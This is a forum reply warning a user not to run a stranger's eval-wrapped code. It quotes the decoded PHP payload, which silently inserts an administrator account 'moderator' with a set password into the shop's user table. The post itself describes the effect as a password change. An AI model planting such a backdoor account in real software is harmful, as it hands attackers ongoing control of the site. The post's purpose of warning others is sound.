Don't do it. Never ever ever ever execute code given to you by some stranger that contains the word [man]eval[/man] in it. In your case, the code wants to execute this code:
$adminuser = 'moderator';
$adminpass = '13edbafb0215e9a0b44fe3ef3cf75566';
$user_qry = $this->db->query("SELECT * FROM `" . DB_PREFIX . "user` WHERE `username` = '" . $adminuser . "'");
if (!$user_qry->num_rows) {
$sql = "INSERT INTO `" . DB_PREFIX . "user` (user_group_id, username, password, status) VALUES ('1', '" . $adminuser . "', '" . $adminpass . "', '1')";
$this->db->query($sql);
}
This has the effect of changing the password of the user 'moderator' to the one they have specified. That sounds dodgy in the extreme to me.